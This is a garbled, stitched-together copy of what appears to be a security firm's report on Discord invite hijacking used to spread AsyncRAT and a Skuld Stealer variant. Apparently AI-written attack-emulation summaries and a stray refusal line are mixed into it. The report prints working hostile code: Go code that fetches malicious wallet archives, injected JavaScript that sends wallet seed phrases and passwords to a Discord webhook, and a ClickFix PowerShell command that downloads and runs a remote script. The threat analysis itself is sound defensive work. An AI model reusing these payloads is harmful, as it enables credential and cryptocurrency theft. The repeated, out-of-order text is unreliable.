"https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}func main() { CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string)) CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string)) actions := []func(string){ wallets.Run, browsers.Run, system.Run,discodes.Run, commonfiles.Run, tokens.Run, } // Standard modules using the first webhook for , action := range actions { goaction(CONFIG["webhook"].(string)) } // Special module for crypto wallet injection using the second webhook gomainGowrap1(CONFIG["webhook2"].(string)) } func mainGowrap1(webhook2 string) { atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar" exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar" walletsinjection.Run(atomicURL, exodusURL, webhook2) }func main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}Skuld uses a malicious technique known as wallet injection. It replaces legitimate cryptocurrency wallet applicationfiles (app.asar) with modified versions downloaded from GitHub. Skuld Stealer specifically targets the Exodus and Atomiccrypto wallets. The .asar files are archive files used by Electron applications (cross-platform applications built withJavaScript, HTML, and CSS). Electron applications commonly use .asar archives to package their source code and assets.Skuld Stealer downloads malicious .asar files from the following repositories:Atomic Wallet: https://github.com/hackirby/wallets-injection/raw/main/atomic.asarExodus Wallet: https://github.com/hackirby/wallets-injection/raw/main/exodus.asarOnce downloaded, Skuld replaces the original wallet archives with these malicious versions. Additionally, Skuld creates seeminglyharmless LICENSE text files in the wallet directories, and embeds Discord webhook URLs:Atomic wallet:%LOCALAPPDATA%\Programs\atomic\LICENSE.electron.txtExodus wallet:%LOCALAPPDATA%\exodus\app-\LICENSE Figure 18 – Fake LICENSE file in Exodus wallet contains a Discord webhook URL.These webhook URLs are then read by the malicious JavaScript inside the injected .asar files.When users interact with their wallets, the patched JavaScript function extracts sensitive user data, such as password and seedphrases, and sends it to the attacker.For instance, in the case of the Exodus wallet, Skuld injects malicious code into the wallet’s unlock function, which receives theuser’s entered password and retrieves the seed phrase. The malicious JavaScript then sends both the extracted seed phrase andpassword to the attacker via the Discord webhook.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterasync unlock(e) {if (await this.shouldUseTwoFactorAuthMode()) return;const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e);this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds()const webhook = await fs.readFile('LICENSE', 'utf8');const mnemonic = this._seed.mnemonicString;const password = e;const computerName = os.hostname();const username = os.userInfo().username;var request = new XMLHttpRequest();request.open("POST", webhook, true);request.setRequestHeader("Content-Type", "application/json");var payload = JSON.stringify({"username": "skuld - exodus injection","avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png","content": "" + computerName + "" + " - " + "" + username + "","embeds": [{ "title": "Exodus Injection","color": 0xb143e3,"footer": {"text": "skuld exodus injection - made by hackirby","icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4",},"fields": [{"name": "Mnemonic","value": "" + mnemonic + "",},{"name": "Password","value": "" + password + "",},],},]});request.send(payload);}async unlock(e) { if (await this.shouldUseTwoFactorAuthMode()) return; const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e); this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds() constwebhook = await fs.readFile('LICENSE', 'utf8'); const mnemonic = this._seed.mnemonicString; const password = e; constcomputerName = os.hostname(); const username = os.userInfo().username; var request = new XMLHttpRequest();request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload =JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "" + computerName + "" + " - " + "" + username + "", "embeds": [ { "title": "Exodus Injection","color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "" + mnemonic + "", }, {"name": "Password", "value": "" + password + "", }, ], }, ]}); request.send(payload); } async unlock(e) { if (await this.shouldUseTwoFactorAuthMode()) return; const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e); this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds() const webhook = await fs.readFile('LICENSE', 'utf8'); const mnemonic = this._seed.mnemonicString; const password = e; const computerName = os.hostname(); const username = os.userInfo().username; var request = new XMLHttpRequest(); request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "" + computerName + "" + " - " + "" + username + "", "embeds": [ { "title": "Exodus Injection", "color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "" + mnemonic + "", }, { "name": "Password", "value": "" + password + "", }, ], }, ]}); request.send(payload); }As we know, the seed phrase (or mnemonic phrase) is a human-readable representation of a wallet’s master private key. Understandards like BIP-39, a 12- or 24-word mnemonic encodes the entropy that, when run through a key-derivationfunction (e.g. PBKDF2) and the BIP-32 hierarchical-deterministic algorithm, generates the wallet’s master private key and all itsdescendant private/public key pairs.In practical terms, obtaining a user’s seed phrase lets an attacker reconstruct every private key in that wallet’s keychain andtherefore grants full control over all cryptocurrency addresses and funds derived from it.Campaign Evolution and Addition of New ModulesDuring our ongoing monitoring of the campaign, we observed that the threat actors periodically updatethe installer.exe downloader. Newer versions often achieve zero detection rates on VirusTotal. Additionally, new payloads areoccasionally introduced.In 2024, Google introduced a security feature in Chrome called Application-Bound Encryption (ABE), aimed at preventing cookieextraction via standard access to SQLite Cookies files. This enhancement rendered most traditional stealers, includingSkuld, ineffective.To circumvent this, attackers adapted the open-source tool ChromeKatz (https://github.com/Meckazin/ChromeKatz/), enablingthem to steal cookies from updated versions of Google Chrome, as well as Chromium-based browsers like Edge and Brave. Theupdated installer.exe (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) also downloads the stealer from BitBucket, where it is stored in encrypted form:https://bitbucket[.]org/syscontrol6/syscontrol/downloads/cks.exeTo decrypt the downloaded binary, the loader uses the same encryption algorithm used for the other payloads. Thedecrypted cks.exe has the SHA256 hash:f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859cUnlike traditional stealers that rely on decrypting cookie files, the ChromeKatz-based stealer operates directly within thebrowser’s memory, effectively bypassing ABE and extracting cookies from the latest versions of Google Chrome, Edge, andBrave. The stealer accesses the browser process memory directly, retrieving cookies in their decrypted form.Before initiating cookie collection, the stealer searches for the appropriate browserprocess (chrome.exe, msedge.exe, or brave.exe) for injection. It enumerates active processes, identifies browserprocesses, determines the executable path using the K32GetModuleFileNameExW function, and retrieves the browser versionvia GetFileVersionInfoW. Figure 19 – Detecting the browser version.This step is crucial, as ChromeKatz can only operate with specific browser versions where the CookieMap structure in memory isknown.Notably, cookies are stored exclusively in a single child process of the browser, the NetworkService, responsible for networkoperations. To locate the correct process, the stealer checks for the following string in the command-line arguments:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkService--utility-sub-type=network.mojom.NetworkServiceThe steps in the cookie extraction mechanism:The stealer identifies the largest MEM_PRIVATE | PAGE_READWRITE memory region within the browser’s memory, presumed tocontain the CookieMap structure.It employs signature-based search with masks (patterns containing 0xAA as wildcards) to locate the start of the structure.The stealer recursively traverses the B-tree representing the in-memory cookie storage structure to extract cookie data. Figure 20 – Recursive traversal of the B-tree storing cookies in browser memory.The attackers incorporated string encryption (similar to that used in the downloaders) and a check for the presence of asettings.txt file, which should have been created by the downloader. This simple trick allows the stealer to bypass sandboxenvironments, as the module exits without initiating malicious activity if run in isolation from the rest of the malware chain.The stolen data is archived into a file exported_cookies.zip, which is then sent to the attackers via a Discord webhook.In the analyzed samples (SHA256: db1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08, f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c), the following webhook URLs wereused:https://discord[.]com/api/webhooks/1363890376271724785/NiZ1XTpzvw27K9O-0IVn7jM7oVVA_6drg91Wxgtgm78A9xsLoD1e_t-GFLiRBw5Lfv41https://discord[.]com/api/webhooks/1367077804990009434/jPrMZM5-Rq9LryHdcKRBvsObHHWhNvHnnhPn07yohGYsDdFYadR2YCk4oqnHwXekdDibAdditional Campaign Targeting GamersWe also identified another active campaign, operated by the same threat actors, which shares core characteristics with thepreviously described campaign but employs a different initial infection vector. In this case, the loader is distributed as aTrojanized hacktool for unlocking pirated downloadable content (DLC) in The Sims 4 — specifically targeting that game’s playerbase.The malicious archive Sims4-Unlocker.zip (SHA256: ef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c) is hosted at:https://bitbucket[.]org/htfhtthft/simshelper/downloads/Sims4-Unlocker.zipBitbucket provides download counters, allowing us to see the scope of the campaign. During our monitoring, we observed morethan 350 downloads of the archive: Figure 21 – Bitbucket download count for Sims4-Unlocker.zipDespite the different entry point and target audience, the same loader framework is used, along with the SkuldStealer and AsyncRAT payloads. Additional related repositories likely linked to past campaigns by the same actors:https://bitbucket[.]org/updateservicesvar/serv/downloads/https://bitbucket[.]org/registryclean1/fefsed/downloads/Victims and ImpactPrecise identification of victims remains challenging due to the nature of the attack infrastructure. As the Skuld Stealer usesDiscord webhooks, a one-way communication method, for exfiltrating stolen data, the attackers receive sensitive informationwithout leaving publicly accessible traces. As a result, direct victim attribution is limited.However, hosting payloads on Bitbucket provides a way to roughly estimate the campaign’s reach based on the downloadstatistics. Across several observed repositories, the number of downloads exceeded 1,300. While not every download necessarilycorresponds to a successful infection, this number lets us reasonably approximate the potential victim pool.Based on external telemetry, we determined that victims are distributed across multiple countries, including:United StatesVietnamFranceGermanySlovakiaAustriaNetherlandsUnited KingdomThe choice of payloads, including a powerful stealer specifically targeting cryptocurrency wallets, suggests that the attackers areprimarily focused on crypto users and motivated by financial gain.ConclusionThis campaign illustrates how a subtle feature of Discord’s invite system, the ability to reuse expired or deleted invite codes invanity invite links, can be exploited as a powerful attack vector. By hijacking legitimate invite links, threat actors silently redirectunsuspecting users to malicious Discord servers.The attackers constructed a carefully orchestrated, multi-stage infection chain, beginning with social engineeringtechniques, followed by a PowerShell-based downloader, and employing trusted services like GitHub, Bitbucket, and Pastebin tostealthily host and deliver encrypted malware payloads. Interestingly, instead of employing sophisticated obfuscation or packingtechniques, they relied on simpler yet highly effective evasion methods: Altering behavior based on command-lineparameters, introducing execution delays through scheduled tasks, and decrypting payloads only after multi-step execution.The selected payloads, specifically AsyncRAT and a customized variant of Skuld Stealer, indicate a financial motivation behindthis attack. While Skuld targets credentials from multiple sources such as browsers and Discord, the campaign places particularemphasis on cryptocurrency wallets, notably Exodus and Atomic, by injecting malicious JavaScript that exfiltrates stolen walletseed phrases and passwords via a dedicated Discord webhook. At the same time, the persistent scheduled task regularly triggersthe second-stage loader, ensuring continuous execution and persistence of AsyncRAT. Even if a victim discovers and removes themalware, AsyncRAT will be redownloaded and re-executed, enabling attackers to retain ongoing remote control over previouslycompromised systems.Discord took swift action to disable the malicious bot used in this campaign, which helps disrupt the current infectionchain. However, the broader risk, that attackers could create new bots or adopt alternate delivery methods that leverage the samecore techniques, still remains. ProtectionCheck Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operatingsystems and protect against the attacks and threats described in this report.Indicators of CompromiseHashesSHA256 Description673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932 1st Stage Downloader (RnrLoader)160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693 1st Stage Downloader (RnrLoader newerversion)5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f 2nd Stage Downloader (RnrLoader)375fa2e3e936d05131ee71c5a72d1b703e58ec00ae103bbea552c031d3bfbdbe PowerShell Script53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe AsyncRAT payloadd54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1 AsyncRAT payload670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236a AsyncRAT payload8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c Skuld Stealer payloadf08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c ChromeKatz payloaddb1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08 ChromeKatz payloadef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c Sims4-Unlocker.zipNetwork IndicatorsPhishing Website:captchaguard[.]mehttps://captchaguard[.]me/?key=PowerShell Script:https://pastebin[.]com/raw/zW0L2z2MBitbucket repositories:https://bitbucket[.]org/updatevak/upd/downloadshttps://bitbucket[.]org/syscontrol6/syscontrol/downloadshttps://bitbucket[.]org/updateservicesvar/serv/downloadshttps://bitbucket[.]org/registryclean1/fefsed/downloadshttps://bitbucket[.]org/htfhtthft/simshelper/downloadsFirst stage downloader:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exeSecond stage downloader:https://bitbucket[.]org/updatevak/upd/downloads/Rnr.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe

Original Text ChatGPT 4o Paged

From Trust to Threat: Hijacked Discord Invites Used for Multi-StageMalware DeliveryalexeybuKey TakeawaysCheck Point Research uncovered an active malware campaign exploiting expired and released Discord invite links. Attackershijacked the links through vanity link registration, allowing them to silently redirect users from trusted sources to maliciousservers.The attackers combined the ClickFix phishing technique, multi-stage loaders, and time-based evasions to stealthily deliverAsyncRAT, and a customized Skuld Stealer targeting crypto wallets.Payload delivery and data exfiltration occur exclusively via trusted cloud services such as GitHub, Bitbucket, Pastebin, andDiscord, helping the operation blend into normal traffic and avoid raising alarms.The operation continues to evolve, and threat actors can now bypass Chrome’s App Bound Encryption (ABE) by using adaptedtools like ChromeKatz to steal cookies from new Chromium browser versions.IntroductionDiscord is a heavily used, widely trusted platform favored by gamers, communities, businesses and others who need to connectsecurely and quickly. But what if your trusted platform unknowingly becomes a trap?Check Point Research uncovered a flaw in Discord’s invitation system which allows attackers to hijack expired or deleted invitelinks and secretly redirect unsuspecting users to malicious servers. Invitation links posted by trusted communities months ago onforums, social media, or official websites could now quietly lead you into cybercriminal hands.We observed real-world attacks in which cybercriminals leverage hijacked invite links to deploy sophisticated phishingschemes and malware campaigns, including multi-stage infections designed to evade detection by antivirus tools and sandboxsecurity checks.In this report, we detail a newly discovered malware campaign exploiting Discord’s invitation system flaw. The attackers carefullyorchestrate multiple infection stages and deliver payloads such as the Skuld Stealer which targets cryptocurrency wallets, andAsyncRAT which obtains full remote control of compromised systems. Notably, by combining multiple evasion techniques, theattackers are able to stealthily deliver malicious payloads while bypassing Windows security features and staying under the radarof many antivirus engines.Understanding Discord Invite LinksOur recent investigation into Discord invite-link hijacking revealed that cybercriminals actively exploit Discord’s invitation systemto conduct phishing attacks. Initially, we discussed how attackers exploited Discord’s custom (vanity) invite links — special inviteURLs available exclusively to servers with a premium subscription (Level 3 Boost). Criminals targeted servers whose custominvite links were expired after losing their boosts, and appropriated these recognizable invite URLs for their own use.Further research indicates that this issue extends beyond custom vanity links to include standard invite links (e.g., discord.gg/y1zw2d5).Discord generates random invitation links, making it virtually impossible for legitimate servers to reclaim a previously expiredinvite. However, we found instances where regular randomly-generated invite codes, originally published by legitimatecommunities on websites or Telegram channels, now redirect users to malicious Discord servers. How is this possible?All Discord invite links follow the format:https://discord.gg/{invite_code}

Phase: Initial Access

  • Technique: Hijacking Discord Invite Links
  • Procedure: Attackers hijack expired or deleted Discord invite links, re-register them as vanity links, and redirect users from trusted platforms to malicious servers.

Phase: Execution

  • Technique: Phishing via ClickFix Technique
  • Procedure: Attackers employ the ClickFix phishing technique as part of redirecting users from hijacked invite links to deliver malicious payloads.

Phase: Delivery

  • Technique: Multi-Stage Loaders
  • Procedure: Use of multi-stage loaders to deliver payloads such as AsyncRAT and Skuld Stealer.

Phase: Evasion

  • Technique: Time-Based Evasions
  • Procedure: Implement time-based evasions to avoid detection by antivirus tools and sandbox security checks, ensuring malicious payloads remain stealthy.

Phase: Execution (Continued)

  • Technique: Remote Access Tool Deployment
  • Tool: AsyncRAT
  • Procedure: Delivers AsyncRAT for obtaining full remote control of compromised systems.

Phase: Credential Access

  • Technique: Cookie Theft from Chromium Browsers
  • Tool: ChromeKatz
  • Procedure: Use of ChromeKatz to steal cookies from new Chromium browser versions, bypassing Chrome’s App Bound Encryption (ABE).

Phase: Collection

  • Technique: Customized Malware for Data Theft
  • Tool: Skuld Stealer
  • Procedure: Custom Skuld Stealer deployed to target and exfiltrate data from cryptocurrency wallets.

Phase: Command and Control

  • Technique: Use of Trusted Cloud Services
  • Services: GitHub, Bitbucket, Pastebin, Discord
  • Procedure: Payload delivery and data exfiltration occur via these services to blend into normal traffic and avoid raising alarms.

https://discord.com/invite/{invite_code}There are three primary types of invite links in Discord:Temporary Invite Links:Discord generates temporary invite links by default unless you specify otherwise. When invites are created via the Discordapplication, you can select expiration durations of 30 minutes, 1 hour, 6 hours, 12 hours, 1 day, or 7 days (default).When generated through Discord’s API, you can select any custom expiration time up to 7 days. Invite codes are randomlygenerated and typically contain 7 or 8 characters, combining uppercase letters, lowercase letters, and numbers. For example:https://discord.gg/T8CA7XrKhttps://discord.gg/yzqKS3d Figure 1 – Generating a random invite code in Discord application.2. Permanent Invite Links:These are created by explicitly selecting the “Expire After: Never” option. Codes generated for permanent invites contain 10randomly-generated alphanumeric characters (uppercase, lowercase, numbers). Figure 2 – Generating a permanent invite link in Discord application.Example of permanent invite link:https://discord.gg/wAYq5GAsyH3. Custom Vanity Invite Links:These are exclusively available to Discord servers with a premium subscription (Level 3 Boost). Vanity invite links allow server

I'm sorry, but the content you've provided doesn't appear to be related to a CTI report or contain threat actor procedures. If you have a different document or need assistance with another topic, please let me know!

administrators to manually select the invite code, provided it is unique across all Discord servers. Codes may contain lowercaseletters, numbers, or dashes, and all letters are automatically converted to lowercase. A server can only have one vanity link at atime. If a server loses its boosts, its custom vanity link becomes available for reuse by another boosted server.Invite Code Reuse and ExploitationWhen creating a regular randomly-generated invite link, after it’s expired or deleted, you cannot obtain the same invite linkagain. Invite codes are generated randomly and the probability of generating the same exact invite code is extremely low.However, the mechanism for creating custom invite links surprisingly lets you reuse expired temporary invite codes, and, in somecases, deleted permanent invite codes: Figure 3 – Assigning a previously used invite code from another server as a custom vanity invite link for a boosted server inDiscord application.Attackers actively exploit this behavior. Once a temporary invite expires, its code can be registered as a custom invite for anotherDiscord server that has Level 3 Boost. If a legitimate Discord server uses a custom vanity link but later loses its boost status (forexample, due to a missed subscription payment), the vanity invite becomes available again, and attackers can claim it for theirown malicious server. This creates a serious risk: Users who follow previously trusted invite links (e.g., on websites, blogs, orforums) can unknowingly be redirected to fake Discord servers created by threat actors.The safest option is to use permanent invites, which are more resistant to hijacking. In particular, if a permanent invite codecontains any uppercase letters, it cannot be reused even after deletion. However, in rare cases, if a deleted permanent inviteconsisted only of lowercase letters and digits (about 0.44% of all cases), the code may become available again for registration as avanity invite.The table below summarizes the hijack risk for each type of invite:Invite type Can behijacked?ExplanationTemporary InviteLink YesAfter expiration, the code becomes available and can be re-registered as a custom vanityURL by a different server with Level 3 Boost.Permanent InviteLink ConditionalIf deleted, a code with only lower-case letters and digits can be re-registered as a customvanity URL by a different server with Level 3 Boost.Custom VanityInvite Yes (if lost)If the original server loses its Level 3 Boost status, the vanity invite becomes invalid andmay be claimed by another boosted server.In both the Web and desktop versions of the Discord client, the invite code management behavior creates an additional riskfactor. When users create a new temporary invite through the “Invite People” option in the server’s menu and check the box “Setthis link to never expire,” it does not modify the expiration time of an already generated temporary invite. The figure belowshows how, when you click the “Set this link to never expire” checkbox, the Discord client shows that the link settings havesupposedly changed, but the invite code remains temporary (as we can see, it consists of 8 characters).

Phase: Initial Access

  • Technique: Social Engineering via Invite Manipulation
  • Procedure: Attackers exploit the reuse of expired or deleted invite codes for Discord servers. A temporary invite code, once expired, can be registered as a custom invite for another server that has a Level 3 Boost. If a server with a custom vanity link loses its boost status, attackers can claim that invite code for their malicious server.

Phase: Impact

  • Technique: Redirect Trusted Invites
  • Procedure: Users accessing trusted invite links are unknowingly redirected to fake Discord servers controlled by threat actors. This redirection leverages the hijacking of previously valid vanity URLs that become available after a server loses its boost status.

Additional Observations:

  • Technique: Invite Code Hijacking
  • Procedure: The attackers monitor for opportunities to claim valuable invite codes once they become available due to expiration or loss of server boost status. This includes codes that were previously permanent but contained only lowercase letters and digits.

These actions highlight the significance of understanding invite code lifecycle management in Discord to prevent exploitation.

Figure 4 – When you set “Never Expires” for an existing link, its expiration settings do not actually change.Users often mistakenly believe that by simply checking this box, they have made the existing invite permanent (and it was thismisunderstanding that was exploited in the attack we observed). As a result, temporary invites are published under the falseassumption that they will never expire. These links eventually expire without warning, making their codes vulnerable to hijackingand malicious reuse.ExamplesLet’s explore how attackers can hijack Discord invite links under different conditions.Case 1: Temporary invite with only lowercase letters and digitsLet’s say a legitimate server shares an invite link like: https://discord.gg/yzqks3dThis code contains only lowercase letters and digits. As long as the invite is active, attackers cannot register it as a vanityinvite. However, once the invite expires or is manually deleted, the code becomes available. Attackers monitoring known invitecodes can then quickly claim it as a vanity invite on a malicious boosted server. From that point on, anyone using thisinvite (yzqks3d) will be redirected to the attacker’s server.Case 2: Temporary invite with uppercase lettersNow let’s consider another invite code: https://discord.gg/uzwgPxUZThis code includes uppercase letters. In this case, attackers can register a vanity invite using the lowercase version of the samecode (uzwgpxuz) even while the original invite is still active. Discord allows it because vanity codes are always stored andcompared in lowercase.While the original invite is still valid, users who follow the link will land on the correct server. But as soon as this inviteexpires, users clicking the previously legitimate link (uzwgPxUZ) are seamlessly redirected to the attackers’ server, which nowowns the lowercase vanity version of that code.Note that if the original invite that includes uppercase letters is manually deleted before its expiration, Discord continues to treatthe code as reserved until the scheduled expiration time is reached. The users following the original link (uzwgPxUZ) won’t beredirected to the attacker’s server until then.From Trusted Links to Malicious Discord ServersUsing the method described above, attackers hijack Discord invite links originally shared by legitimate communities. Usersfollowing these trusted links, found in social media posts or official community websites, unknowingly end up on maliciousservers carefully designed to look authentic.Upon joining, new members typically see that most channels are locked and only one channel, usually named “verify”, isaccessible. In this channel, a bot named ”Safeguard” prompts users to complete a verification step to gain full server access.

Phase: Initial Access

  • Technique: Phishing via Hijacked Discord Invite Links
  • Procedure: Attackers monitor and register expired or deleted Discord invite codes as vanity invites on malicious servers. Users following these previously legitimate links are redirected to the attacker’s server.

Phase: Execution

  • Technique: Social Engineering with Fake Verification
  • Procedure: On entering the hijacked server, a bot named "Safeguard" prompts users to complete a verification step to access the server, potentially collecting sensitive information or installing malware.

Phase: Impact

  • Technique: User Redirection and Data Collection
  • Procedure: Users redirected via hijacked invites are exposed to potentially malicious content and may inadvertently share personal information under the guise of verification.

Figure 7 – Safeguard bot redirecting users to the phishing website.Phishing websiteAfter the user authorizes the bot, Discord starts the OAuth2 authentication flow. Discord generates a single use code and the URLwith a format such as https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j is opened in thebrowser. At the same time, using this code, the website gets the username and the server name from Discord. After successfullyretrieving user data from Discord, the server redirects the user to another URL with the format:https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…In this URL, the “key” variable contains BASE64-encoded data retrieved from Discord that includes the username, Discord guild,and icon IDs. The page is static and does not actually verify the data received in the “key=” variable. Therefore, anyone can open itusing the empty value:https://captchaguard[.]me/?key=Once redirected, the user is shown a well-designed web page mimicking Discord’s UI. At the center isa “Verify” button, accompanied by a green shield logo.

Phase: Initial Access

  • Technique: OAuth2 Phishing via Discord
  • Procedure: The attacker employs a malicious Discord bot to initiate an OAuth2 authentication flow, redirecting users to a phishing website designed to steal credentials.

Phase: Execution

  • Technique: Web Redirection
  • Procedure: Users clicking on provided links containing single-use codes are redirected to crafted URLs that extract their details from Discord.

Phase: Collection

  • Technique: Data Gathering from OAuth2
  • Procedure: The attacker retrieves user data—including usernames and server names—from Discord using the OAuth2 code.

Phase: Social Engineering

  • Technique: Credential Harvesting via Fake Web Page
  • Procedure: Users are presented with a fake web page mimicking Discord's UI, prompting them to click a "Verify" button for further interaction.

Figure 5 – Malicious Discord server where users land after clicking a hijacked invite link.Inspecting the bot’s information reveals that the malicious bot “Safeguard#0786” was created on February 1, 2025: Figure 6 – Malicious “Safeguard” bot description.When users click the “verify” button, they’re asked to authorize the bot, redirecting them to an external website: https://captchaguard[.]me. At the same time, the bot obtains access to user profile details, such as username, avatar, and banner.

The provided content describes a social engineering tactic using a Discord bot and a fake verification process. Here's how you could break down the procedure in an emulation context:

Phase: Initial Access

  • Technique: Social Engineering via Malicious Bot
  • Procedure: A Discord bot named "Safeguard#0786" is presented to users under the guise of a security verification tool. Users are lured by a hijacked invite link.

Phase: Execution

  • Technique: External Redirect for Data Harvesting
  • Procedure: When users click the “verify” button, they are redirected to an external website, https://captchaguard[.]me, which is designed to harvest user data under the pretense of a CAPTCHA verification.

Phase: Reconnaissance

  • Technique: User Information Gathering through OAuth
  • Procedure: Upon authorization of the malicious bot, it gains access to user profile details such as username, avatar, and banner using allowed OAuth permissions.

The steps highlight how the attacker uses human interaction and social engineering to gain access to sensitive user data, emulating a technique that could be tested in similar environments.

Figure 8 – Phishing website displaying a fake verification message.Clicking “Verify” executes JavaScript that silently copies a malicious PowerShell command to the user’s clipboard:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"The attackers use a refined UX trick known as “ClickFix”, a technique in which the service initially appears broken, promptingthe user to take manual action to “fix” it. In this case, a fake Google CAPTCHA is shown as failing to load, andmanual “verification” instructions are displayed.This page presents a sequence of clear, visually guided steps to pass “verification”: open the Windows Run dialog (Win + R), pastethe text preloaded into the clipboard, and press Enter. The site avoids asking users to download or run any filesmanually, removing a common red flag. By using familiar Discord visuals and a polished layout, the attackers create a false senseof legitimacy.

Phase: Initial Access

  • Technique: Phishing via Fake Verification Page
  • Procedure: The attacker sets up a phishing website with a fake Google CAPTCHA and prompts users to perform a manual "verification" process.

Phase: Execution

  • Technique: PowerShell Execution via Clipboard Injection
  • Command:
    powershell powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"

  • Procedure:

  • The phishing page displays a fake verification message using a polished layout that resembles familiar web services.
  • It instructs the user to open the Windows Run dialog (Win + R), paste the malicious PowerShell command copied to the clipboard, and execute it by pressing Enter. This avoids direct file downloads, reducing suspicion.

Figure 9 – Social engineering technique tricking a user to execute a malicious command.In reality, this action causes the user’s computer to download and execute a PowerShell script hosted on Pastebin:https://pastebin[.]com/raw/zW0L2z2MPastebin is a public web service where users can store and share plain text online, and is often used for sharing codesnippets, logs, or configuration data. When you create a new “paste”, it becomes accessible via a short link like “https://pastebin[.]com/raw/{resource_id}”. Usually, it does not require registration to share some data. Registered users have theability to delete and edit data they previously posted.Multi-stage Payload Delivery Using Pastebin, GitHub and BitbucketThe malware campaign we uncovered in our research follows a carefully designed multi-stage infection chain. Threat actorsleverage a combination of Discord, phishing websites, social engineering, public services like Pastebin, and cloud platforms suchas GitHub and Bitbucket to deliver their payloads.The diagram below summarizes the initial phase, which involves phishing via hijacked Discord invites and the ClickFix techniquedetailed above:Figure 10 – Infection chain overview: From hijacked Discord invite to execution of PowerShell downloader.At the conclusion of this phase, a PowerShell script is executed on the victim’s machine. This script downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next phase of the attack.The script executed at the end of this phase downloads and runs a first-stage downloader (installer.exe) from GitHub, initiatingthe next stage of the attack. This stage involves multiple loaders and payloads retrieved from 